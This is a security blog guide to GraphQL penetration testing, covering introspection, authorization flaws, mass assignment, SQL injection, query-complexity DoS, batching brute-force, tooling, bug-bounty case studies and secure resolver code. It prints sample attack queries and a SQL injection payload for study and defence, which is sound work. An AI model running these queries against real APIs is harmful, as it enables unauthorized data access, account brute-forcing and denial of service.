cd ../blog
cat /var/log/exploits/graphql-security-testing.md

# GraphQL Security Testing: Advanced Techniques & Real-World Exploits

HIGH
September 20, 2024
[20 min read]
GraphQLAPI SecurityPentestingBug Bounty

GraphQL Security Testing: Advanced Techniques & Real-World Exploits

"In 2023-2024, GraphQL vulnerabilities accounted for over $2.5M in bug bounty payouts across major platforms. The attack surface is massive, yet most testers still approach it like REST."

APIs power modern applications, and GraphQL has quickly become a first-class choice for building them. Its flexibility, strong typing, and single-endpoint design are great for developers, but they also introduce unique security challenges that many organizations fail to address.

This guide walks through the main GraphQL attack surface, advanced exploitation techniques, and a practical testing methodology used in real-world pentests and bug bounty programs.


//Table of Contents

  1. 1.Why GraphQL Security Feels Different
  2. 2.GraphQL 101 – Security Essentials
  3. 3.Threat Modeling with OWASP API Top 10
  4. 4.Common GraphQL Vulnerabilities
  5. 5.Advanced Exploitation Techniques
  6. 6.Security Testing Methodology
  7. 7.Tooling Arsenal
  8. 8.Real-World Case Studies
  9. 9.Secure Resolver Patterns
  10. 10.Closing Thoughts
  11. 11.References & Further Reading

//1. Why GraphQL Security Feels Different

GraphQL looks simpler on the surface: one endpoint, one POST, one JSON body. From a security perspective, that is deceptive.

Key Differences vs REST

AspectRESTGraphQL
EndpointsMultiple URLsSingle /graphql
Data ControlServer decidesClient decides
DocumentationOpenAPI/SwaggerIntrospection
Rate LimitingPer endpointComplex (per query)

The Hidden Attack Surface

  • Single endpoint, massive surface: Instead of many URLs, you get a single "/graphql" endpoint hiding hundreds of operations.
  • Client-driven queries: Clients choose which fields to fetch and how deep to traverse. Powerful for UX and attackers.
  • Strong typing, weak authorization: The schema enforces types, not access control. Most bugs live in resolver logic.
  • Batching and aliases: Attackers can bypass traditional rate limiting with multiple operations in one request.

To test GraphQL effectively, you must treat the schema and the resolvers as your primary attack surface, not the URL map.


//2. GraphQL 101 – Security Essentials

Schema, Queries, and Mutations

The schema defines types, fields, queries, mutations, and subscriptions. It is the contract of the API and the map of everything that might be abused.

graphql
query GetUser {
  user(id: "123") {
    id
    email
    phone
  }
}
graphql
mutation UpdateEmail {
  updateUserEmail(id: "123", email: "new@example.com") {
    id
    email
  }
}

Subscriptions (Often Overlooked!)

Subscriptions maintain persistent WebSocket connections for real-time data. They are frequently forgotten in security reviews:

graphql
subscription OnNewMessage {
  messageAdded(roomId: "secret-room") {
    content
    sender { email }
  }
}

Resolvers

Resolvers are functions that implement each field. For example, the resolver for "user" might perform a database query. This is where most vulnerabilities live: insecure access control, unsafe queries, injection, and business logic flaws.

Introspection

Introspection lets you query the schema itself – a complete API map for attackers:

graphql
query {
  __schema {
    types {
      name
      fields { name }
    }
  }
}

Pro tip: Even when introspection is disabled, use field suggestion errors to enumerate:

graphql
query { user { passwor } }
# Error: "Did you mean 'password' or 'passwordHash'?"

//3. Threat Modeling with OWASP API Top 10

OWASP RiskGraphQL ManifestationSeverity
API1: BOLADirect object access via IDsCritical
API2: Broken AuthMissing auth on mutationsCritical
API3: Excessive DataField-level over-fetchingHigh
API4: Resource LimitsQuery complexity DoSHigh
API5: Function AuthAdmin mutations accessibleCritical
API6: Mass AssignmentInput type manipulationHigh
API8: InjectionResolver SQL/NoSQL injectionCritical

//4. Common GraphQL Vulnerabilities

4.1 Broken Object Level Authorization (BOLA)

The #1 GraphQL vulnerability. Found in over 60% of GraphQL APIs during pentests.

graphql
query {
  user(id: "123") {
    id
    email
    phone
  }
}

If the resolver returns data without verifying ownership, any user can enumerate others by iterating IDs.

Pro tip: Always test with UUIDs too. Developers assume UUIDs are "unguessable" but they leak in URLs, logs, and API responses.

4.2 Broken Function Level Authorization

graphql
mutation {
  createAdminUser(email: "attacker@example.com") {
    id
    role
  }
}

Real-world finding: A major SaaS platform had an "updateOrganizationSettings" mutation only protected by authentication, not role checks. Any org member could modify billing, SSO, and user limits. Bounty: $12,000.

4.3 Excessive Data Exposure

graphql
query {
  user(id: "123") {
    id
    email
    passwordHash
    resetToken
    permissions
  }
}

4.4 Mass Assignment

graphql
mutation {
  updateUser(id: "123", input: {
    role: "admin",
    isVerified: true
  }) {
    role
  }
}

Backend blindly maps input? Attackers set "role", "tenantId", or "isAdmin".

4.5 GraphQL Injection

graphql
query SearchUsers($q: String!) {
  searchUsers(query: $q) {
    id
    email
  }
}

If resolvers build queries with untrusted input:

javascript
db.query("SELECT * FROM users WHERE name LIKE '%" + args.query + "%'");

Payloads like "' OR 1=1--" cause SQL injection.

4.6 Denial of Service via Query Complexity

Deep nesting:

graphql
{
  user(id: "123") {
    friends {
      friends {
        friends {
          friends { id }
        }
      }
    }
  }
}

Alias-based amplification:

graphql
{
  a: expensiveOperation { data }
  b: expensiveOperation { data }
  c: expensiveOperation { data }
}

//5. Advanced Exploitation Techniques

5.1 Batching Attacks

Send multiple operations to bypass rate limiting:

json
[
  {"query": "mutation { login(user: \"admin\", pass: \"pass1\") { token } }"},
  {"query": "mutation { login(user: \"admin\", pass: \"pass2\") { token } }"},
  {"query": "mutation { login(user: \"admin\", pass: \"pass3\") { token } }"}
]

5.2 Field Duplication

graphql
query {
  user(id: "1") {
    role
    role: email
  }
}

5.3 Directive Abuse

graphql
query {
  user @include(if: true) {
    secretField @skip(if: false)
  }
}

//6. Security Testing Methodology

Step 1: Endpoint Discovery

Common paths: /graphql, /api/graphql, /v1/graphql, /gql, /query

Confirm GraphQL:

http
POST /graphql HTTP/1.1
Host: target.com
Content-Type: application/json

{"query": "{ __typename }"}

Step 2: Schema Enumeration

Introspection enabled:

graphql
query {
  __schema {
    types {
      name
      kind
      fields { name }
    }
  }
}

Introspection disabled: Use Clairvoyance tool or field suggestion errors.

Step 3: Authorization Testing Matrix

OperationUnauthUser AUser BAdmin
getUser(A)
updateUser(A)
deleteUser(A)

//7. Tooling Arsenal

ToolPurposeKey Feature
InQLBurp Suite extensionSchema analysis, query generation
GraphQL VoyagerVisual schema explorerInteractive graph visualization
ClairvoyanceSchema inferenceWorks when introspection is disabled
BatchQLBatch attack testingRate limit bypass detection
graphql-copSecurity scannerAutomated vulnerability checks
graphw00fFingerprintingIdentifies GraphQL engine type

//8. Real-World Case Studies

Case Study 1: GitHub GraphQL IDOR ($10,000)

Source: HackerOne Report #489146

A security researcher discovered that GitHub's GraphQL API allowed unauthorized access to private repository data through nested object relationships. By traversing from a public repository to its organization, then to other (private) repositories, the researcher could access private issues, pull requests, and commit data.

Vulnerable Query Pattern:

graphql
query {
  repository(owner: "org", name: "public-repo") {
    owner {
      ... on Organization {
        repositories(first: 100) {
          nodes {
            name
            isPrivate
            issues(first: 10) { nodes { title body } }
          }
        }
      }
    }
  }
}

Key Takeaway: Always test nested object relationships for authorization gaps. Object-level access control must be enforced at every resolver, not just top-level queries.

Case Study 2: Shopify Mass Assignment ($6,300)

Source: HackerOne Shopify Program - 2019

Shopify's GraphQL mutations for updating shop settings accepted input fields that weren't exposed in the UI or documentation. By inspecting the schema via introspection, a researcher found hidden fields like "plan_name" and "billing_address" that could be modified through direct API calls.

Exploit Pattern:

graphql
mutation {
  shopUpdate(input: {
    plan_name: "enterprise",
    billing_email: "attacker@evil.com"
  }) {
    shop { plan_name }
  }
}

Key Takeaway: Never trust client input. Explicitly whitelist allowed mutation fields and validate against a strict schema.

Case Study 3: HackerOne Staging Introspection ($2,500)

Source: HackerOne Security Team Disclosure - 2020

HackerOne's staging environment had introspection enabled, exposing internal queries and mutations used for admin operations. These included user impersonation endpoints, report manipulation mutations, and internal analytics queries not available to normal users.

Discovery Query:

graphql
query {
  __schema {
    mutationType {
      fields {
        name
        args { name type { name } }
      }
    }
  }
}

Key Takeaway: Disable introspection in production AND staging. Use environment-specific configurations and audit all deployments.

Case Study 4: Facebook GraphQL Batching DoS

Source: Facebook Bug Bounty Program - 2018

Researchers demonstrated that Facebook's GraphQL endpoint could be overwhelmed using batched queries with deeply nested fragments. A single HTTP request containing 1000+ operations with alias amplification could consume significant server resources.

Key Takeaway: Implement query complexity analysis, depth limiting, and per-operation rate limiting—not just per-request limits.


//9. Secure Resolver Patterns

Always verify authorization in resolvers:

javascript
const resolvers = {
  Query: {
    user: async (_, { id }, context) => {
      // Check authentication
      if (!context.user) {
        throw new AuthenticationError('Not authenticated');
      }
      
      // Fetch the user
      const targetUser = await User.findById(id);
      
      // Check authorization (IDOR prevention)
      if (targetUser.id !== context.user.id && 
          !context.user.roles.includes('ADMIN')) {
        throw new ForbiddenError('Not authorized');
      }
      
      return targetUser;
    }
  }
};

Query Complexity Analysis:

javascript
const depthLimit = require('graphql-depth-limit');
const { createComplexityLimitRule } = require('graphql-validation-complexity');

const server = new ApolloServer({
  typeDefs,
  resolvers,
  validationRules: [
    depthLimit(10),
    createComplexityLimitRule(1000, {
      onCost: (cost) => console.log('Query cost:', cost),
    }),
  ],
});

//10. Closing Thoughts

GraphQL is not inherently less secure than REST, but it is different. The combination of a powerful schema, flexible queries, and centralized resolver logic means that:

  • Attackers get rich discovery and exploitation opportunities if you are careless.
  • Defenders get a clear, structured place to apply robust security controls.

If you approach GraphQL with a REST mindset, you will miss vulnerabilities that live in the graph itself: object relationships, resolver chains, and complex mutations. If you treat the schema as your true attack surface and systematically test it using the techniques in this guide, you can find and fix serious issues before someone else does.

Whether you are a pentester, bug bounty hunter, or backend engineer, the goal is the same: understand how GraphQL changes the game, and then adapt your security practices accordingly.


//11. References & Further Reading

Official Documentation

  • GraphQL Specification: https://spec.graphql.org/
  • Apollo Security Best Practices: https://www.apollographql.com/docs/apollo-server/security/
  • Hasura Security Documentation: https://hasura.io/docs/latest/security/

Research Papers & Talks

  • "Hacking GraphQL" - Pete Corey (DEF CON 27)
  • "GraphQL: A Query Language for Your API" - Lee Byron (Facebook)
  • "Exploiting GraphQL" - Nikolas Poniros (OWASP)

Tools

  • InQL Scanner: https://github.com/doyensec/inql
  • GraphQL Voyager: https://github.com/graphql-kit/graphql-voyager
  • Clairvoyance: https://github.com/nikitastupin/clairvoyance
  • graphw00f: https://github.com/dolevf/graphw00f
  • graphql-cop: https://github.com/dolevf/graphql-cop
  • BatchQL: https://github.com/assetnote/batchql

Bug Bounty Reports

  • HackerOne Disclosed Reports: https://hackerone.com/hacktivity?querystring=graphql
  • Bugcrowd GraphQL Disclosures: https://bugcrowd.com/disclosures
  • GitHub Security Advisories: https://github.com/advisories?query=graphql

Cheatsheets

  • OWASP GraphQL Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html
  • PortSwigger GraphQL: https://portswigger.net/web-security/graphql
  • PayloadsAllTheThings GraphQL: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection
[EOF]